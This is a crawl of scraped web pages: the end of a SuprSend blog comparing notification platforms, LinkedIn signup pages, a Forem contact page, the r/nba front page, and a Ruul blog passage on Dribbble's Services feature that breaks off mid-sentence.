Flexible Multi-Channel API Why it stands out: Courier provides multi-channel delivery with APIs plus a visual template designer. Key Features APIs for email, SMS, push, chat Visual editor for templates Routing rules & preference management Pros Hybrid: developer + design teams A/B testing and analytics built in Cons Workflow orchestration less powerful than SuprSend/Knock Pricing Free: 10k notifications/month Pro: Usage-based pricing ($0.005/notification) Enterprise: Custom 💡 Ideal for : Startups balancing dev + marketing needs. ‍ 4. Novu – Open-Source Alternative Why it stands out: Novu is the leading open-source notification platform for teams preferring control and customization. Key Features Self-host or use Novu Cloud APIs, dashboards, and hooks Active open-source community Pros Full control & customization Large, growing OSS community Cons Maintenance overhead with self-hosting Pricing Free OSS version Cloud: $25–$200/month, enterprise custom 💡 Ideal for : Dev teams avoiding vendor lock-in. ‍ 5. Fyno – Routing & Observability Why it stands out: Fyno focuses on observability and multi-provider routing. Key Features 50+ provider integrations Routing logic builder Real-time analytics and logs Pros Strong observability across vendors Good for multi-provider setups Cons Still early-stage compared to others Pricing Free trial available Paid plans from ~$250/month 💡 Ideal for : Teams needing visibility across multiple providers. ‍ 6. Knock – Workflow Powerhouse Why it stands out: Knock positions itself as developer-first infra with strong workflow orchestration. Key Features Workflow engine with digests & batching Multi-channel delivery (email, SMS, push, Slack) Role-based access and compliance (GDPR, HIPAA) Pros Enterprise-grade workflows Excellent developer SDKs Cons No entry-level hobby tier Pricing Free: 10k notifications/month Starter: $250/month Enterprise: Custom Ideal for : Enterprise SaaS with complex workflows. ‍ 7. Resend – Best for Email-First Teams Why it stands out: Resend is a lightweight API built for transactional email . Key Features Simple developer API Fast, reliable email delivery Focused on email over multi-channel Pros Developer-friendly simplicity Reliable transactional email Cons No multi-channel orchestration Pricing Free tier available Paid plans based on email volume Ideal for : Startups starting with email before expanding. ‍ Comparison Table (Pros & Cons Snapshot) Platform Best For Pros Cons Pricing (Entry) SuprSend Developers, SaaS Flexible orchestration, strong SDKs Limited no-code Free + Growth $99/mo OneSignal Marketing teams Great for push, growth-friendly Weak for transactional Free + Growth $99/mo Courier Hybrid teams API + visual editor Less powerful workflows Free + usage-based Novu OSS control Customizable, OSS Maintenance overhead Free OSS / $25+ Fyno Observability 50+ providers, routing Early-stage $250/mo Knock Enterprise SaaS Advanced workflows No hobby tier $250/mo Resend Email-first Reliable, simple Email-only Free tier ‍ Bottom Line If you need marketing push campaigns , OneSignal is a solid fit. For open-source flexibility , Novu leads. For complex enterprise workflows , Knock shines. 👉 But if you want a production-ready, developer-first platform that covers transactional, engagement, and multi-tenant use cases across all channels , SuprSend is the clear leader in 2025 . With proven case studies like Evocalize (+27% purchases) , Refrens (+144% engagement) , and Teachmint (2X engagement) , SuprSend consistently delivers business impact while giving developers full control. Share this blog on: Written by: Nikita Navral Co-Founder, SuprSend Implement a powerful stack for your notifications Get Started For Free Book Demo Company About us Signup Login Integrations Pricing Security Privacy Terms Contact Us Support SuprSend for Startups API Status Sign Up Channels Email SMS Notification Inbox Android Push iOS Push Web Push Xiaomi Push Whatsapp SDK Python SDK Node.js SDK Java SDK Android SDK React Native SDK iOS SDK Flutter SDK Go SDK Resources Documentation Changelog Blogs Write for us SMTP Error Codes SMS Providers Comparisons Email Providers Comparisons SMS Providers Alternatives Join us on Slack We are building a community of developers and product builders from across the globe to make notifications a pleasant experience. © 2025 All rights reserved. SuprStack Inc. By clicking “Accept All Cookies” , you agree to the storing of cookies on your device to enhance site navigation, analyze site usage, and assist in our marketing efforts. View our Privacy Policy for more information. Preferences Deny Accept Privacy Preference Center When you visit websites, they may store or retrieve data in your browser. This storage is often necessary for the basic functionality of the website. The storage may be used for marketing, analytics, and personalization of the site, such as storing your preferences. Privacy is important to us, so you have the option of disabling certain types of storage that may not be necessary for the basic functioning of the website. Blocking categories may impact your experience on the website. Reject all cookies Allow all cookies Manage Consent Preferences by Category Essential Always Active These items are required to enable basic website functionality. Marketing Essential These items are used to deliver advertising that is more relevant to you and your interests. They may also be used to limit the number of times you see an advertisement and measure the effectiveness of advertising campaigns. Advertising networks usually place them with the website operator’s permission. Personalization Essential These items allow the website to remember choices you make (such as your user name, language, or the region you are in) and provide enhanced, more personal features. For example, a website may provide you with local weather reports or traffic news by storing data about your current location. Analytics Essential These items help the website operator understand how its website performs, how visitors interact with the site, and whether there may be technical issues. This storage type usually doesn’t collect information that identifies a visitor. Confirm my preferences and close Get 10% OFF on your next order Subscribe to our newsletter and receive a 10% OFF coupon to use on your next order. Please check your email for your 10% OFF coupon Oops! Something went wrong while submitting the form.	2026-01-13T08:47:55
https://gg.forem.com/contact#main-content	Contact Gamers Forem Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account Gamers Forem Close Contacts Gamers Forem would love to hear from you! Email: support@dev.to 😁 Twitter: @thepracticaldev 👻 Report a vulnerability: dev.to/security 🐛 To report a bug, please create a bug report in our open source repository. To request a feature, please start a new GitHub Discussion in the Forem repo! 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV Gamers Forem — An inclusive community for gaming enthusiasts Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . Gamers Forem © 2025 - 2026. We're a place where gamers unite, level up, and share epic adventures. Log in Create account	2026-01-13T08:47:55
https://www.linkedin.com/signup/cold-join?session_redirect=https%3A%2F%2Fwww%2Elinkedin%2Ecom%2Fcompany%2Fruul&trk=organization_guest_nav-header-join	Sign Up \| LinkedIn Join LinkedIn now — it’s free! Not you? Remove photo Join LinkedIn To create a LinkedIn account, you must understand how LinkedIn processes your personal information by selecting learn more for each item listed. Agree to all terms We collect and use personal information. Learn more We share personal information with third parties to provide our services. Learn more Further information is available in our Korea Privacy Addendum . Privacy Policy Addendum 1 of 2 2 of 2 Agree to the term Continue Back Agree to all terms Email Password Show First name Last name By clicking Agree & Join, you agree to the LinkedIn User Agreement , Privacy Policy , and Cookie Policy . Agree & Join or Security verification Already on LinkedIn? Sign in Looking to create a page for a business? Get help LinkedIn © 2026 About Accessibility User Agreement Privacy Policy Cookie Policy Copyright Policy Brand Policy Guest Controls Community Guidelines العربية (Arabic) বাংলা (Bangla) Čeština (Czech) Dansk (Danish) Deutsch (German) Ελληνικά (Greek) English (English) Español (Spanish) فارسی (Persian) Suomi (Finnish) Français (French) हिंदी (Hindi) Magyar (Hungarian) Bahasa Indonesia (Indonesian) Italiano (Italian) עברית (Hebrew) 日本語 (Japanese) 한국어 (Korean) मराठी (Marathi) Bahasa Malaysia (Malay) Nederlands (Dutch) Norsk (Norwegian) ਪੰਜਾਬੀ (Punjabi) Polski (Polish) Português (Portuguese) Română (Romanian) Русский (Russian) Svenska (Swedish) తెలుగు (Telugu) ภาษาไทย (Thai) Tagalog (Tagalog) Türkçe (Turkish) Українська (Ukrainian) Tiếng Việt (Vietnamese) 简体中文 (Chinese (Simplified)) 正體中文 (Chinese (Traditional)) Language	2026-01-13T08:47:55
https://www.linkedin.com/top-content?trk=organization_guest_guest_nav_menu_topContent	Top Content on LinkedIn Skip to main content LinkedIn Top Content People Learning Jobs Games Join now Sign in What topics do you want to explore? 📚 Tips for Managing Stressors with Mental Toughness 💬 How to Navigate Difficult Conversations for Personal Growth 💡 Top Emerging AI Use Cases and Their Capabilities 😊 How Leaders Foster Psychological Safety 🚀️ Tips for Curating a Professional Network 🚀️ Tips for Strategic Career Planning 🚀️ How to Find the Right Mentor for Your Career 🚀️ Tips for Optimizing Your LinkedIn Profile 🧭 How to Set Priorities as a Leader Editor’s Picks Handpicked ideas and insights from professionals Career 🚀️ Career Advancement Tips 457K likes Innovation 💡 AI Trends and Innovations 297K likes Productivity ⏱️ Workday Management Tips 295K likes Training & Development 📚 Mindset Development Tips 183K likes Leadership 🧭 Team Performance and Morale 126K likes Leadership 🧭 Balancing Leadership Responsibilities 106K likes Communication 💬 Promoting Open Communication 100K likes Career 🚀️ Networking for Professionals 81K likes Topic Categories ♟️ Business Strategy 56K posts 📢 Marketing 51K posts 🚀️ Career 43K posts 💻 Technology 41K posts 🧭 Leadership 38K posts 💡 Innovation 36K posts 💰 Finance 36K posts 🌱 Corporate Social Responsibility 35K posts 💼 Sales 35K posts 👥 Recruitment & HR 27K posts 🤖️ Artificial Intelligence 25K posts 📆 Workplace Trends 22K posts ⏱️ Productivity 21K posts 💬 Communication 20K posts 🪢 Organizational Culture 19K posts 🤝 Customer Experience 19K posts 📚 Training & Development 18K posts 🛠 Engineering 18K posts 🔬 Science 18K posts 🚚 Supply Chain Management 16K posts 🔄 Change Management 14K posts 📑 Consulting 14K posts 🏨 Hospitality & Tourism 14K posts 😊 Employee Experience 14K posts 📈 Economics 14K posts ✍️ Writing 14K posts 🔗 Networking 13K posts 🛒 Ecommerce 13K posts 💞 Soft Skills & Emotional Intelligence 13K posts 🎨 User Experience 13K posts 🎓 Education 12K posts 🖌️ Design 12K posts 🏠 Real Estate 11K posts 📊 Project Management 11K posts 🛍️ Retail & Merchandising 11K posts 🤝 Negotiation 10K posts 🌐 Future Of Work 9K posts 🎯 Fundraising 8K posts 🧭 Healthcare 6K posts 🎉 Event Planning 6K posts LinkedIn © 2026 About Accessibility User Agreement Privacy Policy Cookie Policy Copyright Policy Brand Policy Guest Controls Community Guidelines العربية (Arabic) বাংলা (Bangla) Čeština (Czech) Dansk (Danish) Deutsch (German) Ελληνικά (Greek) English (English) Español (Spanish) فارسی (Persian) Suomi (Finnish) Français (French) हिंदी (Hindi) Magyar (Hungarian) Bahasa Indonesia (Indonesian) Italiano (Italian) עברית (Hebrew) 日本語 (Japanese) 한국어 (Korean) मराठी (Marathi) Bahasa Malaysia (Malay) Nederlands (Dutch) Norsk (Norwegian) ਪੰਜਾਬੀ (Punjabi) Polski (Polish) Português (Portuguese) Română (Romanian) Русский (Russian) Svenska (Swedish) తెలుగు (Telugu) ภาษาไทย (Thai) Tagalog (Tagalog) Türkçe (Turkish) Українська (Ukrainian) Tiếng Việt (Vietnamese) 简体中文 (Chinese (Simplified)) 正體中文 (Chinese (Traditional)) Language	2026-01-13T08:47:55
https://old.reddit.com/r/nba/	NBA jump to content my subreddits edit subscriptions popular - all - users  \|  AskReddit - pics - funny - movies - worldnews - news - todayilearned - nottheonion - explainlikeimfive - mildlyinteresting - DIY - videos - OldSchoolCool - TwoXChromosomes - tifu - Music - books - LifeProTips - dataisbeautiful - aww - science - space - Showerthoughts - askscience - Jokes - Art - IAmA - Futurology - sports - UpliftingNews - food - nosleep - creepy - history - gifs - InternetIsBeautiful - GetMotivated - gadgets - announcements - WritingPrompts - philosophy - Documentaries - EarthPorn - photoshopbattles - listentothis - blog more »   nba hot new rising controversial top wiki Want to join? Log in or sign up in seconds. limit my search to r/nba use the following search parameters to narrow your results: subreddit: subreddit find submissions in "subreddit" author: username find submissions by "username" site: example.com find submissions from "example.com" url: text search for "text" in url selftext: text search for "text" in self post contents self:yes (or self:no) include (or exclude) self posts nsfw:yes (or nsfw:no) include (or exclude) results marked as NSFW e.g. subreddit:aww site:imgur.com dog see the search faq for details. advanced search: by author, subreddit... Link Text Get an ad-free experience with special benefits, and directly support Reddit. get reddit premium nba join leave Submit Posting Rules/Guidelines Filters ds nw rm tt rb mt gt mm ns hl am su UTA 123 CLE 112 FINAL BOS 96 IND 98 FINAL PHI 115 TOR 102 FINAL BKN 105 DAL 113 FINAL LAL 112 SAC 124 FINAL CHA 109 LAC 117 FINAL New Post Game Thread Jalen Duren smashes with 33/10/2 in a Pistons win over the Mavericks STANDINGS WEST EAST TEAM W/L GB TEAM W/L GB 1 33-7 — 1 28-10 — 2 27-12 5.5 2 25-14 3.5 3 26-13 6.5 3 24-14 4.0 4 26-14 7.0 4 24-16 5.0 5 23-13 8.0 5 21-16 6.5 6 24-15 8.5 6 22-18 7.0 7 22-14 9.0 7 22-18 7.0 8 21-19 12.0 8 20-19 8.5 9 19-21 14.0 9 20-21 9.5 10 17-22 15.5 10 18-20 10.0 15-23 17.0 17-22 11.5 14-25 18.5 14-25 14.5 13-25 19.0 11-25 16.0 9-30 23.5 10-28 18.0 9-32 24.5 8-31 20.5 SCHEDULE Date Away Home Time (ET) Nat TV Jan. 12 7:00 pm ET 7:30 pm ET 7:30 pm ET 8:30 pm ET 10:00 pm ET 10:30 pm ET Jan. 13 7:30 pm ET 8:00 pm ET 8:00 pm ET 8:00 pm ET 8:00 pm ET 10:30 pm ET 11:00 pm ET Jan. 14 7:00 pm ET 7:00 pm ET 8:00 pm ET 8:00 pm ET 9:30 pm ET 10:00 pm ET 10:30 pm ET Jan. 15 2:00 pm ET 7:00 pm ET 7:30 pm ET 7:30 pm ET 8:00 pm ET 8:30 pm ET 10:00 pm ET 10:00 pm ET 10:30 pm ET Related Subreddits /r/nbadiscussion /r/collegebasketball /r/basketball /r/sports /r/WNBA /r/euroleague /r/nbaww /r/NBA2k /r/fantasybball /r/Nbamemes/ /r/BasketballGM DAL DEN GSW HOU LAC LAL MEM MIN NO OKC PHO POR SAC SA UTA NBA ATL BOS BKN CHA CHI CLE DET IND MIA MIL NYK ORL PHI TOR WAS a community for 17 years MODERATORS message the mods Welcome to Reddit, the front page of the internet. Become a Redditor and join one of thousands of communities. × 1 41 42 43 Official /r/nba Power Rankings #6 (01.12.2025) Original Content ( self.nba ) submitted 12 hours ago by NBA powerrankingsnba - announcement 43 comments share save hide report loading... 2 26 27 28 AMA w/ The Athletic's Sam Amick on All Things NBA! AMA ( self.nba ) submitted 18 hours ago by TheAthletic - announcement 22 comments share save hide report loading... 3 7177 7178 7179 [Highlight] Kyle Lowry checks in the for the 76ers in what is likely the final time he'll play in Toronto, as Tyrese Maxey amps up the crowd to give Lowry a standing ovation! Highlight ( streamable.com ) submitted 5 hours ago by 76ers Pyromania1983 202 comments share save hide report loading... 4 1372 1373 1374 Joe Mazzulla answered every single question with “illegal screen” 😭 ( streamable.com ) submitted 3 hours ago by Mavericks TheRealPdGaming 230 comments share save hide report loading... 5 826 827 828 [Post Game Thread] The Sacramento Kings (10-30) defeat the Los Angeles Lakers (23-14), 124-112 behind the Kings scorching hot shooting night, shooting 17/26 from 3. Post Game Thread ( self.nba ) submitted 3 hours ago by Mavericks A_MASSIVE_PERVERT 407 comments share save hide report loading... 6 1981 1982 1983 Scottie Pippen: "Players are now at the point where they are saying, 'I'm going to play 50 games and you're gonna pay me for 82.' Players are a lot more sensitive. If you say something to me, it better be fucking nice or I will have you removed from the arena. It's bad players can't take criticism." ( streamable.com ) submitted 8 hours ago by The_Big_Untalented 747 comments share save hide report loading... 7 4393 4394 4395 Payton Pritchard pulled up to a local court and surprised some young hoopers ( streamable.com ) submitted 12 hours ago by Celtics Unusual-Ask6933 330 comments share save hide report loading... 8 1864 1865 1866 This is the hallway leading up to the visitors’ locker room at Scotiabank Arena. These screens usually have Scotiabank logos on them. Today, before what could be his final game in Toronto, they’re a tribute to Kyle Lowry. ( streamable.com ) submitted 8 hours ago by GreenSnakes_ 67 comments share save hide report loading... 9 654 655 656 [Highlight] Bronny James hits the huge 3 to cut the lead down to 15 Highlight ( streamable.com ) submitted 3 hours ago by Mavericks A_MASSIVE_PERVERT 68 comments share save hide report loading... 10 479 480 481 JJ Redick: "Literally we can't make a shot." ( streamable.com ) submitted 2 hours ago by Canada TheDraciel 187 comments share save hide report loading... 11 1035 1036 1037 [Highlight] Joel Embiid detonates with the MASSIVE slam over Sandro Mamukelashvili as the Sixers continue to build their huge lead! Highlight ( streamable.com ) submitted 7 hours ago by 76ers Pyromania1983 159 comments share save hide report loading... 12 914 915 916 [Ja Morant] “when dat smoke clear over only ones who love you gon be round” ( self.nba ) submitted 7 hours ago by ParticularRatio1357 503 comments share save hide report loading... 13 656 657 658 0:12 [Highlight] Pascal Siakam gets the game-winning floater to fall with 6.1 seconds left to give the Indiana Pacers the 98-96 victory over the Boston Celtics. Highlight ( v.redd.it ) submitted 5 hours ago by nba 70 comments share save hide report loading... 14 503 504 505 [Highlight] Luka Doncic hits the floater 3-ball to cap off a 26 point half Highlight ( streamable.com ) submitted 4 hours ago by Mavericks A_MASSIVE_PERVERT 149 comments share save hide report loading... 15 638 639 640 [Post Game Thread] The Indiana Pacers (9-31) defeat the Boston Celtics (24-15), 98-96. Post Game Thread ( self.nba ) submitted 6 hours ago by Mavericks A_MASSIVE_PERVERT 145 comments share save hide report loading... 16 3307 3308 3309 Jalen Williams: "I thought I was my biggest critic. It might be Twitter" ( streamable.com ) submitted 16 hours ago by Trail Blazers MrBuckBuck 211 comments share save hide report loading... 17 3066 3067 3068 LeBron James will wear a special-edition 23rd season jersey patch beginning tonight in Sacramento; the city where he began his legendary career in 2003. The patches will be removed from his jersey after each game, and some will be placed into ultra-rare trading cards. ( self.nba ) submitted 16 hours ago by West CtrlAltDelightfull 356 comments share save hide report loading... 18 1574 1575 1576 [Mizell] Embiid interrupted an interview with Lowry by asking, “Why are they talking to you?” in an exacerbated tone. “Where you lost Game 7 at,” said Lowry, referencing the Sixers’ crushing playoff defeat to the eventual-champion Raptors in 2019. ( self.nba ) submitted 12 hours ago by Raptors Onterrible_Trauma 119 comments share save hide report loading... 19 529 530 531 Dell & Steph Curry passed Joe & Kobe Bryant for 2nd all-time on combined points scored by father-son duo in NBA history, trailing only LeBron & Bronny James. ( self.nba ) submitted 7 hours ago by Warriors SharksFanAbroad 52 comments share save hide report loading... 20 247 248 249 Luka Doncic drops 40-piece despite the loss vs Kings: 42 PTS, 7 REB, 8 AST, 4 STL ( self.nba ) submitted 3 hours ago * by Thanos_SlayerCongSan 232 comments share save hide report loading... 21 769 770 771 Can we just ackonwledge that the epidemic of foul baiting isn't just insufferable to watch, it makes players insufferable to guard? ( self.nba ) submitted 9 hours ago by Suns No-Entertainer-9400 227 comments share save hide report loading... 22 2650 2651 2652 [MacMahon] “Ja Morant has already had a very loud, ugly confrontation with their rookie coach. Everybody in that arena, much less locker room, knows they want to get rid of him. And the feeling is mutual. It’s reached a point where Ja Morant’s career cannot continue in Memphis.” ( streamable.com ) submitted 16 hours ago by [MIA] Dwyane Wade AashyLarry 529 comments share save hide report loading... 23 327 328 329 0:27 [Highlight] Cooper Flagg gets the tough one-legged jumper to fall on offense and then proceeds to get up for the big block on the other end for the Mavericks. Highlight ( v.redd.it ) submitted 5 hours ago by nba 38 comments share save hide report loading... 24 766 767 768 [Iko] There is an increasing belief among rival executives that Jaren Jackson Jr. could be traded following the finalization of a Ja Morant deal. ( self.nba ) submitted 10 hours ago by YujiDomainExpansion 351 comments share save hide report loading... 25 681 682 683 They should have a retired players game at All Star Weekend ( self.nba ) submitted 10 hours ago by dj_ethical_buckets 144 comments share save hide report loading... view more: next &rsaquo; about blog about advertising careers help site rules Reddit help center reddiquette mod guidelines contact us apps & tools Reddit for iPhone Reddit for Android mobile website <3 reddit premium Use of this site constitutes acceptance of our User Agreement and Privacy Policy . © 2026 reddit inc. All rights reserved. REDDIT and the ALIEN Logo are registered trademarks of reddit inc. Advertise - sports π   Rendered by PID 161783 on reddit-service-r2-loggedout-59f68dfc9-gkxkp at 2026-01-13 08:47:54.675237+00:00 running d5e020e country code: KR.	2026-01-13T08:47:55
https://www.linkedin.com/signup/cold-join?session_redirect=https%3A%2F%2Fwww%2Elinkedin%2Ecom%2Fcompany%2Fruul&trk=organization_guest_main-feed-card_social-actions-reactions	Sign Up \| LinkedIn Join LinkedIn now — it’s free! Not you? Remove photo Join LinkedIn To create a LinkedIn account, you must understand how LinkedIn processes your personal information by selecting learn more for each item listed. Agree to all terms We collect and use personal information. Learn more We share personal information with third parties to provide our services. Learn more Further information is available in our Korea Privacy Addendum . Privacy Policy Addendum 1 of 2 2 of 2 Agree to the term Continue Back Agree to all terms Email Password (6+ characters) Show Remember me First name Last name By clicking Agree & Join, you agree to the LinkedIn User Agreement , Privacy Policy , and Cookie Policy . Agree & Join or Security verification Already on LinkedIn? Sign in Looking to create a page for a business? Get help LinkedIn © 2026 About Accessibility User Agreement Privacy Policy Cookie Policy Copyright Policy Brand Policy Guest Controls Community Guidelines العربية (Arabic) বাংলা (Bangla) Čeština (Czech) Dansk (Danish) Deutsch (German) Ελληνικά (Greek) English (English) Español (Spanish) فارسی (Persian) Suomi (Finnish) Français (French) हिंदी (Hindi) Magyar (Hungarian) Bahasa Indonesia (Indonesian) Italiano (Italian) עברית (Hebrew) 日本語 (Japanese) 한국어 (Korean) मराठी (Marathi) Bahasa Malaysia (Malay) Nederlands (Dutch) Norsk (Norwegian) ਪੰਜਾਬੀ (Punjabi) Polski (Polish) Português (Portuguese) Română (Romanian) Русский (Russian) Svenska (Swedish) తెలుగు (Telugu) ภาษาไทย (Thai) Tagalog (Tagalog) Türkçe (Turkish) Українська (Ukrainian) Tiếng Việt (Vietnamese) 简体中文 (Chinese (Simplified)) 正體中文 (Chinese (Traditional)) Language Follow top companies Over 60% of the fortune 100 companies use LinkedIn to hire. Join now Leave	2026-01-13T08:47:55
https://core.forem.com/t/performance	Performance - Forem Core Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account Forem Core Close Performance Follow Hide Tag for content related to software performance. Create Post submission guidelines Articles should be obviously related to software performance in some way. Possible topics include, but are not limited to: Performance Testing Performance Analysis Optimising for performance Scalability Resilience But most of all, be kind and humble. 💜 Older #performance posts 1 2 3 4 5 6 7 8 9 … 75 … 246 Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu October 2025 Forem Core Update: Hacktoberfest Momentum, PR Cleanups, and Self-Hosting Tweaks Om Shree Om Shree Om Shree Follow Oct 12 '25 October 2025 Forem Core Update: Hacktoberfest Momentum, PR Cleanups, and Self-Hosting Tweaks # productivity # security # performance # javascript 20 reactions Comments 1 comment 4 min read Moving billboard event counting into a background job Ben Halpern Ben Halpern Ben Halpern Follow Jun 4 '25 Moving billboard event counting into a background job # performance 5 reactions Comments Add Comment 1 min read loading... trending guides/resources Forem Project Weekly: Scheduled Automations, Image Generation & UX Upgrades 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV Forem Core — Discussing the core forem open source software project — features, bugs, performance, self-hosting. Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . Forem Core © 2016 - 2026. Community building community Log in Create account	2026-01-13T08:47:55
https://ruul.io/author/aypar-yilmazkaya	Ruul Blog Writer - Aypar Yılmazkaya Product Payment Requests Get paid anywhere. Sell Services Make your services buyable Sell Products Create once sell forever Subscriptions Get paid on repeat Ruul Space Your personel storefront. One link for everything you offer. Learn more Pricing Resources Partner Programs Referral Program Get 1% for life. Seriously. Affiliate Program Bring users, get paid Partners Let’s grow together. More Blog About us Support Brand Kit For Customers Log in Sign up For Businesses Login Sign up Aypar Yılmazkaya Aypar Yılmazkaya is a product-oriented engineering manager with over a decade of experience. Leading technology and product teams, he brings successful projects to life. His areas of expertise include artificial intelligence and team management. Lemon Squeezy vs Gumroad Compare LemonSqueezy and Gumroad for digital creators: fees, features, payment options, and best use cases in 2025. How to Accept Cryptocurrency Payments Find the methods, benefits, and security considerations for accepting crypto payments. Know how cryptocurrencies can open new opportunities for your business. Ruul Now Supports Cryptocurrency Payments for Freelancers Accept crypto payments as a freelancer! Ruul now supports Bitcoin, Ethereum, and stablecoin payouts—fast & global. Product Payment Requests Sell Services Sell Products Subscriptions Ruul Space Pricing For Businesses Resources Blog About Contact Support Referral Program Affiliate Program Partner Program Tools Invoice Generator NDA Generator Service Agreement Generator Freelancer Hourly Rate Calculator All Rights Reserved © 2025 Terms Of Use Privacy Policy	2026-01-13T08:47:55
https://ruul.io/blog/dribbble-services	What Dribbble’s New Services Feature Means for Creative Freelancers Product Payment Requests Get paid anywhere. Sell Services Make your services buyable Sell Products Create once sell forever Subscriptions Get paid on repeat Ruul Space Your personel storefront. One link for everything you offer. Learn more Pricing Resources Partner Programs Referral Program Get 1% for life. Seriously. Affiliate Program Bring users, get paid Partners Let’s grow together. More Blog About us Support Brand Kit For Customers Log in Sign up For Businesses Login Sign up sell What Dribbble’s New Services Feature Means for Creative Freelancers? What does Dribbble's 'Services' feature mean for creative freelancers? Turn your portfolio into sales & boost earnings! Learn how. Canan Başer 5 min read RUUL FOR INDEPENDENCE You chose independence.We make sure you keep it. Sell your time, your talent, whatever you create or build always on your terms. Get started See Example This is also a heading This is a heading Key Points Dribbble Services: Designers now sell services directly. Transforms your Dribbble portfolio into a store. Boosts visibility, attracts direct client projects. Package offerings: define scope, price, payment terms. Be mindful of Dribbble's fees and competition. Success tips: Clear scope, strong visuals, keywords. ‍ Ruul: All freelancers, not just designers; 5% flat fee. So, Dribbble is making a new move in the freelance space. They've rolled out a "Services" feature, which means designers can now attempt to sell their creative services directly through the platform. Sounds cool, and I invite you to see this feature in detail! The idea is to shift Dribbble from being mainly a portfolio showcase to an active marketplace. But what does this change actually signal for creative freelancers and your business? Ready to dive into the details? Let's go! What is the Dribbble "Services" feature? The "Services" feature, as you might guess, is a new feature where you can package and sell your freelance services. This feature transforms Dribbble from just a showcase where you "display your work" into a marketplace where you can directly "sell your work." You can think of it just like an e-commerce site. But here, what's being sold isn't a physical product, but your skills and the creative online services you offer. For example, on your profile, you can sell specific services like "Minimal Mobile App Design" and "Website Icon Set." If clients like these services, they can purchase them instantly. However, Dribbble's Service categories are created only for designers. For instance, categories like Website Design, Branding, Typography, Illustration, and App & Product Design. But there's no space allocated for writers, consultants, developers, and others. 📌 Ruul Spaces is a marketplace and payment button that includes all freelancers instead of just graphic designers. Here you can sell services with a fixed 5% commission fee for the invoicing. How to create a service pack on Dribbble? Step-by-step guide Let's take a step-by-step look at how Dribbble's new "Services" feature works and how to use it! 1. Click the "create new service" button To list a service, go to the "Services" page on your profile. Then, you need to click the "create new service" button, but if you haven't set up your payment method beforehand, you'll be redirected to the setup page. Complete the setup by choosing Stripe or Payoneer (it takes about 2 minutes). → And be aware that these payment platforms may incur additional costs. If you have already set up your payment method, you can skip this step. 2. Set a service title Set a title for your service, and in my opinion, try to be specific when doing so. For example, if you set a title like "Blog post for technology sites" instead of "Blog post," your target customers will find you easily. This way, by going into subcategories, you can reach high-budget clients looking for much more specific services. This also helps you become the "best" in a niche category and gain a steady stream of income. 3. Explain the details of the service You need to clearly define the scope of your service. How long will it take you to deliver? How many revisions are you offering? What is your price? If your client is considering purchasing your service, they usually want to see a persuasive text and carefully prepared service details in the description section. Therefore, make sure that you have written everything that needs to be known about the service in the ‘Description’ section. Also, it would be good to offer a minimum of 1-2 revisions because clients are more inclined to agree when they know their revision rights. My advice is to increase the number of revisions as much as possible when making your first sales. 4. Add category and tags Choosing Categories and Tags is a crucial stage for potential customers to find you. You can see that categories are divided into sections like Web Design, Branding, and Illustration. The subcategories under the App & Product Design category are: Mobile app design Web app design Icon design Software design UX design So, by also selecting the subcategories of a category you wish, for example, you can increase your chances of appearing before customers searching for "UX design" services. Tags work in a similar way: You can optimize your services by additionally adding keywords here that describe your service. 5. Add a visual (shots) If you've used Dribbble , you might know that there's a "Shots" section where you can quickly share your work. I liken this to "Posts" on Instagram. When creating a service package on Dribbble, you need to add your previously published Shots as visuals. This way, the customer isn't solely reliant on the description section but gains more 